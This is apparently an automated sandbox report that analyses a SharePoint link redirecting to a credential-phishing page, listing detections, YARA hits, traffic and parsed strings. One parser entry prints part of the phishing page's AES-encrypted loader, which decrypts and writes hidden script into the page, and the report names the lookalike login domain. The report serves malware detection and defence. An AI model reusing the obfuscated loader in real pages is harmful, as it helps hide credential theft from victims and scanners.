Edit tour

Windows Analysis Report
https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU

Overview

General Information

Sample URL:	https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU
Analysis ID:	1474142
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected HtmlPhish70

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Detected non-DNS traffic on DNS port

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1944,i,7244158449792302167,2698048619673715931,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_373	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security

HTML

Source	Rule	Description	Author	Strings
79.7.pages.csv	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Antivirus detection for URL or domain

Source: https://login.microsoftonline-int.com

Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish70

Source: Yara match	File source: 79.7.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_373, type: DROPPED

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Source: https://goaheadplatform.com/filesshare.html

HTTP Parser: async function iconography(table) {  var {a,b,c,d} = json.parse(table); return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher: cryptojs.algo.sha512, keysize: 64/8, iterations: 999}), {iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8); } (async () => { document.write(await iconography(await (await fetch(await iconography(atob(`eyjhijoiwnbermnay1m2n2nrkzdwymfqqwr5dzu5ytzmn1j0zfrrdmc4ahfhxc9rsnm9iiwiyyi6imyxywvlywm3oguzzmrhnzezzwzmywvlzmjkmzk1otyyiiwiyii6iji3yjg5mmjjmjc0ogjhn2u2zgjmzti4mzczztniowrmzmyzmdy3nwuymjq4ymi1nmmxzdc3ngfinjuzyzk0njm1otq3ote0yte1mdq4y2i4owe1odhmmdzhztc4mtg4yzq1nzdimge2mjm2ymfinmuzmzc2zdhkmgmymdblymeyndk2ndrkmtg4zgjimwuyytkwnmvkognmzwi1otqxnji4ytlkzdc5zgfhnmvizgqzmtuwmza5otq3zgqxytbhnwzlywq5mdhmmjbkody3nja1nzy4mdk2zwvmmgu1ywmyztuyzwi4ymy4mwy0nzuxnme3zdywn2m1njljnjcyzja0zmzjytmymjvkodawnzc2ndezzjrjmge1ngy1zgq5owuzzty1ogq0mtfimtq5mj...

Source: https://amdat-my.sharepoint.com/:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?rtime=DYqAZYel3Eg

HTTP Parser: Base64 decoded: {"siteid":"2f360fee-41fd-43fd-806a-1d05989e0aa9","aud":"00000003-0000-0ff1-ce00-000000000000/amdat-my.sharepoint.com@ccdc4ebe-1888-499b-9e73-bbbd560179ed","exp":"1721164012"}

Source: https://goaheadplatform.com/filesshare.html

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49736 version: TLS 1.2

Source:	Binary string: c,!0,m),a&&a.ZT(this.button))}executeCommand(a,c,m,E){if(!Fc.c(a)){const P=this.Fb;P.CommandValueId=this.button.bOa();P.MenuItemId=this.button.Yb.MenuItemId;P.SourceControlId=this.control.id;this.root.executeCommand(a,P,this.Fe,c,m,null,this.$y(E))}}pg(){Fc.c(this.control.Yb.Command)\|\|0<(this.ti(this.properties.Command,this.properties.QueryCommand,this.Fb)&2)&&this.UGa()&&this.Bva()}Bva(){this.Hwe();this.Zdc();this.pdb()}onFocus(a){super.onFocus(a);this.Qre();return!1}onBlur(a){super.onBlur(a);this.$Jd(); source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: Sa}get ccf(){return this.pLg}get Tlh(){return this.PDb}get type(){return 1}Fd(Sa){Sa=Sa\|\|this.nc;if(Sa.paragraph){const Fb=this.paragraph.vd.tc(this.sG);Fb?(Fb.setValue(this.Je?L.a.S_c:L.a.fCc,Sa.paragraph.id),this.Je\|\|Sa.paragraph.id\|\|n.ULS.shipAssertTag(5564302,327,!1,"Comment node has no end anchor!")):n.ULS.shipAssertTag(4531335,327,!1,"Comment node {0} not found",this.sG)}return new X(Sa,this.tt,this.sG,this.Je,this.ccf)}save(Sa,Fb){if(!this.tt){Fb=Fb.createInstance(131073);Fb.setValue(L.a.Hda, source: chromecache_363.2.dr
Source:	Binary string: Fb.createInstance(131073);Fb.setValue(L.a.Hda,this.Je?44:45);Fb.setValue(L.a.Tzd,this.rL);Fb.setValue(M.a.Qcb,!0);const Wb=this.paragraph.vd;Wb&&Wb.ix(Fb,null);this.tt=Fb.id}Sa.K0(this.nc,this.tt,U.a.SBc,null,null,!1,void 0,void 0,!1)}}(0,K.a)(S,"BookmarkRangeObject",U.a,[]);var T=d(98579),Z=d(57721),ca=d(56827),ea=d(91381);class X extends U.a{constructor(Sa,Fb,Wb,tb,Ob,zb){Ob=void 0===Ob?null:Ob;zb=void 0===zb?null:zb;super(Sa);this.tt=Fb;this.sG=Wb;this.Je=tb;this.pLg=Ob;this.PDb=zb}get sG(){return this.rL}set sG(Sa){this.rL= source: chromecache_363.2.dr
Source:	Binary string: null),this.fM=!0));return this.htmlElement}createElement(){if(this.J8b)return this.dGd();this.Xn=document.createElement("div");this.htmlElement.className=I.pDb;this.htmlElement.setAttribute("UNSELECTABLE","on");void 0!==this.$O&&null!==this.$O&&(this.htmlElement.id=this.$O);this.dR=null;if(0!==this.Tg){this.dR=document.createElement("span");this.dR.className="WACBusinessBarIcon";this.htmlElement.appendChild(this.dR);var F=null;let C=null;switch(this.Tg){case 2:F=I.Qbd;C=(0,G.a)("DialogError");break; source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: (this.ti(this.zh.Command,this.zh.QueryCommand,this.Fb)&2)&&this.UGa()&&this.Bva(),zd.a.og(this.zh.RefreshableMenu)&&this.ew&&this.Ad.Cag()))}Bva(){this.xXj();this.pdb();this.RXj();this.RBa.arb=this.Fb[qn.a.ImageIsVisible]}xXj(){const a=zd.a.x4(this.Fb[qn.a.LabelText],this.zh.LabelText),c=this.Fb[qn.a.LabelTextUserGeneratedPlaceholderReplacements];if(this.control.pk!==a\|\|this.zh.LabelTextUserGeneratedPlaceholderReplacements!==c)this.ap.medium&&this.yXj(this.ap.medium.qq,a,c),this.root.o9a=!0,this.control.pk= source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: F():K.a.get_instance().Yg(7,F);this.R2&&(Ta.AFrameworkApplication.ka.ih.Ma(d.a.click,this.htmlElement,(0,La.a)(this,this.Wi,"onClick")),Ta.AFrameworkApplication.ka.en.eJ(d.a.Sd,this.htmlElement,this.I9a,this),this.y5&&!this.fM&&(Ta.AFrameworkApplication.ka.ox.Ma(this.htmlElement,(0,La.a)(this,this.Wi,"onClick"),null),this.fM=!0));return this.htmlElement}createElement(){if(this.J8b)return this.dGd();this.Xn=document.createElement("div");this.htmlElement.className=I.pDb;this.htmlElement.setAttribute("UNSELECTABLE", source: chromecache_422.2.dr
Source:	Binary string: 1),this.close(F),!0)}close(F){const C=F.DA;this.Ow.removeEntry(C);this.b1b(C,F.ld)}b1b(F,C){if(F.BK){const t=Ta.AFrameworkApplication.sa;t.Lx=10;t.UK=C;F.BK(F);t.Lx=0;t.UK=0}}b3a(F){F&&this.Ow&&(this.Ow.removeEntry(F),this.b1b(F,0))}}I.pDb="WACBusinessBarEntry";I.Y8c="WACBusinessBarTitle";I.T8c="WACBusinessBarBody";I.X8c="WACBusinessBarTitleBodyHolder";I.V8c="WACBusinessBarButtonHolder";I.U8c="WACBusinessBarButton";I.W8c="WACBusinessBarLinkHolder";I.P9c="WACBusinessBarClose";I.O9c="WACBusinessBarCloseHolder"; source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: (this.ti(this.properties.Command,this.properties.QueryCommand,this.Fb)&2)&&this.UGa()&&this.Bva()}Bva(){this.PZj();this.pdb();this.Zdc()}PZj(){const a=this.control.pk;let c=this.Fb[Uj.a.Value];Fc.c(c)&&(c=this.properties.LabelText,Fc.c(c)&&(c=""));c!==a&&this.dac(c)}Ju(a){a=a.Ge;Fc.c(a)\|\|(Uf.a.instance.Ma(Sa.a.si,a,(0,cb.a)(this,this.onPointerDown,"onPointerDown")),Uf.a.instance.Ma(Sa.a.bJ,a,(0,cb.a)(this,this.uda,"onPointerOver")),Uf.a.instance.Ma(Sa.a.xF,a,(0,cb.a)(this,this.tda,"onPointerOut")))}} source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: H?t.StyleReader.wordStyleIdHeading1:t.StyleReader.styleIdHeading1;z.UEa[2]=H?t.StyleReader.wordStyleIdHeading2:t.StyleReader.styleIdHeading2;z.UEa[3]=H?t.StyleReader.wordStyleIdHeading3:t.StyleReader.styleIdHeading3;z.UEa[4]=H?t.StyleReader.Odb:t.StyleReader.uea;z.UEa[5]=H?t.StyleReader.Pdb:t.StyleReader.lva;z.UEa[6]=H?t.StyleReader.Qdb:t.StyleReader.mva;z.UEa[7]=H?null:t.StyleReader.sGa}static pki(){z.$ca.unspecified=0;z.$ca.defaultUnordered=1;z.$ca.defaultOrdered=1;z.$ca.none=0;z.$ca.disc=1;z.$ca.circle= source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: new F.a;this.Sfb=new F.a;this.dib=new F.a;this.kIa=new F.a;this.YKe=!1}v$d(Sa,Fb){this.ylc&&(this.PDb=Sa.changeStart?Sa.changeStart.id:Sa.isChangeEnd?e.a.nil:this.PDb);na.a.instance.ea(45)&&!Sa.vh&&(this.D9c=Sa.wN?Sa:Sa.isTrackChangeInfoEnd?null:this.D9c);this.Aya&&this.Aya.v$d(Sa,Fb)}K0(Sa,Fb,Wb,tb,Ob,zb,jc,Dc,ed){jc=void 0===jc?null:jc;Dc=void 0===Dc?null:Dc;ed=void 0===ed?!1:ed;this.KYj(Wb);this.Rwe(Sa,Fb,tb,Ob,zb,jc,Dc,ed)}Rwe(Sa,Fb,Wb,tb,Ob,zb,jc,Dc){Dc=void 0===Dc?!1:Dc;this.EYj(Fb,Ob);this.jwe(Sa); source: chromecache_363.2.dr
Source:	Binary string: c===Sys.UI.Key.space?(a=this.Fb,a.CommandValueId=this.control.bOa(),this.root.executeCommand(this.zh.Command,a,this.Fe,1,!0),!0):super.Ho(a)}pg(){const a=this.root.ON(this.zh.Command,this.zh.QueryCommand,this.Fb),c=0<(a&1);let m=!0;m=Fc.c(this.zh.CommandMenuOpen)?c:0<(this.root.ON(this.zh.CommandMenuOpen,null,null)&1);if(m!==this.nhb\|\|c!==this.WVa\|\|(m\|\|c)!==this.control.enabled)this.control.enabled=m\|\|c,c!==this.WVa&&this.cZi(c),m!==this.nhb&&this.dZi(m),this.nhb=m,this.WVa=c;if(0<(a&2)){this.pdb(); source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: $i.aI.add(og.StyleReader.wordStyleIdHeading3);$i.aI.add(og.StyleReader.Odb);$i.aI.add(og.StyleReader.Pdb);$i.aI.add(og.StyleReader.Qdb);$i.aI.add(og.StyleReader.pBb);$i.aI.add(og.StyleReader.qBb);$i.aI.add(og.StyleReader.rBb);$i.aI.add(og.StyleReader.qye);$i.aI.add(og.StyleReader.pye)}}$i.aI=null;(0,K.a)($i,"ParagraphStyleDetailsProvider",null,[1145,1005]);class Jw{constructor(a,c){this.mdd=a;this.ETg=c}Aie(){this.mdd.execute(a=>{a.f9b(this.ETg.value);a.f9b(new $i)})}}(0,K.a)(Jw,"AccessibilityActor", source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: r[3]=G.a.instance.ea(61)?F.StyleReader.wordStyleIdHeading3:F.StyleReader.styleIdHeading3;r[4]=G.a.instance.ea(61)?F.StyleReader.Odb:F.StyleReader.uea;r[5]=G.a.instance.ea(61)?F.StyleReader.Pdb:F.StyleReader.lva;r[6]=G.a.instance.ea(61)?F.StyleReader.Qdb:F.StyleReader.mva;r[7]=G.a.instance.ea(61)?F.StyleReader.pBb:F.StyleReader.vcb;r[8]=G.a.instance.ea(61)?F.StyleReader.qBb:F.StyleReader.sGa;r[9]=G.a.instance.ea(61)?F.StyleReader.rBb:F.StyleReader.ucb}sq(r){return r?this.PZb(r,e.a.C3):null}lqb(r){return r? source: chromecache_363.2.dr
Source:	Binary string: return new Sys.UI.Point(F.x,F.y)}addButton(F,C,t,M){this.ZVa=F;this.YVa=C;this.B4=!0;this.qDb=t;this.XVa=void 0===M?!1:M}A4e(F,C,t){this.bWa=F;this.aWa=C;this.C4=!0;this.rDb=t;this.$Va=!1}akb(F,C){this.Aoa=F;this.BY=C;this.vga=!0}dGd(){var F=this.Jxe;this.Xn=document.createElement("div");this.htmlElement.className=String.format("{0} {1} {2}",I.pDb,I.hod,F?I.oud:"");this.htmlElement.setAttribute("UNSELECTABLE","on");void 0!==this.$O&&null!==this.$O&&(this.htmlElement.id=this.$O);F=()=>{B.a.kzf().then(C=> source: chromecache_422.2.dr
Source:	Binary string: (O.Va(B.a.C3)\|\|O.Va(B.a.Uvb)\|\|O.Va(B.a.styleName))?!0:!1}static pZc(O){O[0]=I.a.instance.ea(61)?D.wordStyleIdNormal:D.styleIdNormal;O[1]=I.a.instance.ea(61)?D.wordStyleIdHeading1:D.styleIdHeading1;O[2]=I.a.instance.ea(61)?D.wordStyleIdHeading2:D.styleIdHeading2;O[3]=I.a.instance.ea(61)?D.wordStyleIdHeading3:D.styleIdHeading3;O[4]=I.a.instance.ea(61)?D.Odb:D.uea;O[5]=I.a.instance.ea(61)?D.Pdb:D.lva;O[6]=I.a.instance.ea(61)?D.Qdb:D.mva;O[7]=I.a.instance.ea(61)?D.pBb:D.vcb;O[8]=I.a.instance.ea(61)?D.qBb: source: chromecache_363.2.dr
Source:	Binary string: this.nK.behavior;if(a){const c=this.JAf();this.nK.Fb[im.a.Image16by16Class]=c.Image16by16Class;this.nK.Fb[vi.a.alt]=c.Alt;a.pdb();a.Zdc()}}UIh(){{this.nK=new Sj.a(this,"RibbonPinButton",this.JAf());const a=this.nK.XA("Small");zd.a.Lb(a.Ua,"cui-pinButton");a.enabled=!0;this.Mza(a,this.children.count);this.rv.appendChild(a.Ua)}}GQf(a){return!!a&&!!a.id&&a.id.startsWith("RibbonPinButton")}arf(){Fc.c(this.c5)&&(this.c5=document.getElementById(this.OM+"-QATRowCenter"));Fc.c(this.e5)&&(this.e5=document.getElementById(this.OM+ source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: D.styleIdHeading3="h3";D.uea="h4";D.lva="h5";D.mva="h6";D.wcb="PageTitle";D.Hzb="PageDateTime";D.sGa="cite";D.vcb="blockquote";D.ucb="code";D.z_e=null;D.Zjf=22;D.Uwc=[D.styleIdNormal,D.styleIdHeading1,D.styleIdHeading2,D.styleIdHeading3,D.uea,D.lva,D.mva,D.wcb,D.Hzb,D.sGa,D.vcb,D.ucb];D.I_b=[D.styleIdHeading1,D.styleIdHeading2,D.styleIdHeading3,D.uea,D.lva,D.mva];D.Dec=[D.wordStyleIdHeading1,D.wordStyleIdHeading2,D.wordStyleIdHeading3,D.Odb,D.Pdb,D.Qdb,D.pBb,D.qBb,D.rBb];D.z2j=[D.A2j,D.B2j,D.C2j, source: chromecache_363.2.dr
Source:	Binary string: r.ga(F.StyleReader.wordStyleIdHeading1,Box4Intl.Box4Strings.L_StyleWordHeading1);r.ga(F.StyleReader.wordStyleIdHeading2,Box4Intl.Box4Strings.L_StyleWordHeading2);r.ga(F.StyleReader.wordStyleIdHeading3,Box4Intl.Box4Strings.L_StyleWordHeading3);r.ga(F.StyleReader.Odb,Box4Intl.Box4Strings.L_StyleWordHeading4);r.ga(F.StyleReader.Pdb,Box4Intl.Box4Strings.L_StyleWordHeading5);r.ga(F.StyleReader.Qdb,Box4Intl.Box4Strings.L_StyleWordHeading6);r.ga(F.StyleReader.pBb,Box4Intl.Box4Strings.L_StyleWordHeading7); source: chromecache_363.2.dr
Source:	Binary string: t.UK=C;F.BK(F);t.Lx=0;t.UK=0}}b3a(F){F&&this.Ow&&(this.Ow.removeEntry(F),this.b1b(F,0))}}I.pDb="WACBusinessBarEntry";I.Y8c="WACBusinessBarTitle";I.T8c="WACBusinessBarBody";I.X8c="WACBusinessBarTitleBodyHolder";I.V8c="WACBusinessBarButtonHolder";I.U8c="WACBusinessBarButton";I.W8c="WACBusinessBarLinkHolder";I.P9c="WACBusinessBarClose";I.O9c="WACBusinessBarCloseHolder";I.Q9c="BusinessBarClose_16x16x32";I.hfd="WACBusinessBarImage";I.Upd="WACScreenReaderOnly";I.Qbd="CancelRequest_24x24x32";I.Mud="Risks_24x24x32"; source: chromecache_422.2.dr
Source:	Binary string: Sa&&Sa.fn?Sa.fn.NM:null;this.oga[this.oga.length]=!!Sa&&!!Sa.Ys;this.e1a[this.e1a.length]=Sa&&Sa.Ys&&Sa.qz&&Sa.qz.Ri?Sa.qz.Ri:e.a.nil;this.f1a[this.f1a.length]=Sa&&Sa.Ys?Sa.Ys.authorName:null;this.g1a[this.g1a.length]=Sa&&Sa.Ys?Sa.Ys.NM:null}NWj(Sa,Fb,Wb){Wb=void 0===Wb?!1:Wb;Fb?this.Y0.add(Fb):(Sa&&!Sa.vh\|\|Wb)&&this.Y0.add(this.PDb)}F0j(Sa,Fb,Wb){const {CharacterPropertiesEditor:tb}=d(10501);let Ob=this.rR.count;Ob\|\|1!==this.Ay.count\|\|(Ob=1);const zb=!na.a.instance.ea(45)\|\|(!this.dga\|\|!this.dga.length)&& source: chromecache_363.2.dr
Source:	Binary string: const E=zd.a.x4(this.Fb[mm.a.LabelText],this.zh.LabelText);this.Fb[mm.a.ApplyLabelTextToControlOnly]?this.$N.LNa(P=>{P.Ge.title=E;P.w7.removeAttribute("title");P.jNa.removeAttribute("title")}):this.$N.LNa(P=>{P.w7.title=E});this.Fb[mm.a.EnsureControlRoleIsButton]&&this.$N.LNa(P=>{Mg.a.jg(P.Ge,Mg.a.zc,Mg.a.xK)});Fc.c(this.Fb[mm.a.Visible])\|\|this.UGa()&&this.Bva()}this.$N.fea(this.$N.on&&c)}Bva(){this.Hwe();this.Zdc();this.pdb()}dZi(a){this.$N.LNa(c=>{zd.a.mma(c.jNa,a)});this.m9b();this.nhb=a}cZi(a){this.$N.LNa(c=> source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: U.a,[]);var V=d(83240),Y=d(1861),ba=d(74606),ia=d(3697),ma=d(93631),la=d(79238),qa=d(75654),na=d(72589),ra=d(58875),ua=d(57535),pa=d(10292),da=d(98135);class ha{constructor(Sa,Fb,Wb){this.PDb=e.a.nil;this.D9c=null;this.Aya=Sa;this.ylc=Wb;this.jV="";this.rR=new F.a;this.Ay=new F.a;this.Zsc=new F.a;this.G2e=!1;this.vha=new F.a;this.F2e=!1;this.Y0=new F.a;this.dga=[];this.nYa=[];this.oYa=[];this.zfa=[];this.JWa=[];this.KWa=[];this.oga=[];this.e1a=[];this.f1a=[];this.g1a=[];this.Ahb=new F.a;this.Zib= source: chromecache_363.2.dr
Source:	Binary string: String.format("{0} {1} {2}",I.pDb,I.hod,F?I.oud:"");this.htmlElement.setAttribute("UNSELECTABLE","on");void 0!==this.$O&&null!==this.$O&&(this.htmlElement.id=this.$O);F=()=>{B.a.kzf().then(C=>{this.Ow.I2b\|\|(C.initializeMessageBarInStore(),this.Ow.I2b=!0);const t=Object.assign(new u,{message:this._message,messageTitle:this.Wf,isMultiline:this.FYa,messageBarType:this.OVa});if(this.I4){t.closeable=!0;let M=this._message+". "+(0,G.a)("DialogClose");this.Wf&&(M=this.Wf+". "+M);t.dismissButtonAriaLabel= source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: 2)&&this.UGa()&&this.Bva()}Bva(){this.toggleButton.fea(this.Fb[ef.a.On]);this.jXj(zd.a.x4(this.Fb[ef.a.DisplayMode],""));this.Hwe();this.pdb();this.bYj();ef.a.Alt in this.Fb&&this.Zdc()}bYj(){const a=this.ap.z8a;if(a&&a.x7){var c=zd.a.x4(this.Fb[ef.a.Description],this.properties.Description);c!==a.x7.innerText&&(a.x7.innerText=c,a.qq&&!(0,r.a)(Tt.a,this.root)&&(c=!Fc.b(c),zd.a.wz(a.qq,"UIFontBold",c),zd.a.wz(a.qq,"cui-ctl-mediumlabel-nodescription",!c)))}}Ju(a){a=a.Ge;Ea.a.instance.Ma(Sa.a.focus, source: chromecache_396.2.dr, chromecache_241.2.dr
Source:	Binary string: Box4Intl.Box4Strings.L_StyleWordHeading3);O.ga(D.Odb,Box4Intl.Box4Strings.L_StyleWordHeading4);O.ga(D.Pdb,Box4Intl.Box4Strings.L_StyleWordHeading5);O.ga(D.Qdb,Box4Intl.Box4Strings.L_StyleWordHeading6);O.ga(D.pBb,Box4Intl.Box4Strings.L_StyleWordHeading7);O.ga(D.qBb,Box4Intl.Box4Strings.L_StyleWordHeading8);O.ga(D.rBb,Box4Intl.Box4Strings.L_StyleWordHeading9);O.ga(D.qye,Box4Intl.Box4Strings.L_StyleWordTitle);O.ga(D.pye,Box4Intl.Box4Strings.L_StyleWordSubtitle);O.ga(D.DDg,Box4Intl.Box4Strings.L_StyleWordSubtleEmphasis); source: chromecache_363.2.dr

Source: global traffic

TCP traffic: 192.168.2.5:50102 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /:o:/g/personal/mai_amd_at/EoDy7F40M29Hj1IohtQ4kIQBoQXIpIg2xex0MiXjURHhng?e=a92LfU HTTP/1.1Host: amdat-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/mai_amd_at/_layouts/15/Doc.aspx?sourcedoc=%7B5eecf280-3334-476f-8f52-2886d4389084%7D&action=default&slrid=62d63ca1-e00d-9000-7e4b-165a7241934f&originalPath=aHR0cHM6Ly9hbWRhdC1teS5zaGFyZXBvaW50LmNvbS86bzovZy9wZXJzb25hbC9tYWlfYW1kX2F0L0VvRHk3RjQwTTI5SGoxSW9odFE0a0lRQm9RWElwSWcyeGV4ME1pWGpVUkhobmc_cnRpbWU9RFlxQVpZZWwzRWc&CID=8c042d94-c5f4-4931-82d0-1e626bc30df9&_SRM=0:G:89 HTTP/1.1Host: amdat-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 